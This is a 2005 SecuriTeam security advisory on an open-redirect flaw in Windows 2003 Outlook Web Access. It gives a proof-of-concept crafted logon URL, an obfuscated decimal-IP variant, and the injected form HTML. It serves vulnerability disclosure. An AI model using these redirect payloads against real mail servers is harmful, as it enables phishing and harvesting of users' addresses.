[NT] Microsoft Windows 2003 Outlook Web Access URL Injection Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 03/17/05

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Date: 17 Mar 2005 18:55:29 +0200

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      Microsoft Windows 2003 Outlook Web Access URL Injection Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    By using specially crafted URL an attacker can cause a user using
    Microsoft's Windows 2003 Outlook Web Access (OWA) to redirect to an
    arbitrary URL.

    DETAILS

    Vulnerable Systems:
     * Microsoft Windows 2003 Outlook Web Access ( OWA )

    A vulnerability in Microsoft Windows 20003 Outlook Web Access allows
    malicious attackers to redirect the login to any URL they wish. This
    allows the attacker to force the user to the site of the attackers
    choosing enabling the attacker to use social engineering and phishing
    style of attacks.

    An attacker could also use this attack to gather valid user email
    addresses, by appending an obfuscated redirected URL with a encoded URL
    such as
    https://[owa-host]/exchweb/bin/auth/owalogon.asp?url=http://3221234342/

    Proof of Concept:
    1. https://[owa-host]/exchweb/bin/auth/owalogon.asp?url=http://[otherhost]
    2. Click "login"
    3. After the injection into the form, the source reveals:
    < BODY scroll="AUTO" bgColor="#3D5FA3" text="#000000" leftMargin=0
    topMargin=0>
    < FORM action="/exchweb/bin/auth/owaauth.dll" method="POST"
    name="logonForm" autocomplete="off">
    < INPUT type="hidden" name="destination" value="http://[otherhost]">
    < INPUT type="hidden" name="flags" value="0">
    < TABLE id="borderTable" class="standardTable" cellSpacing=0 cellPadding=0
    height="100%" width="100%" bgColor="#3D5FA3" border=0>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:se_cur_ity@hotmail.com>
    morning_wood.

    ========================================

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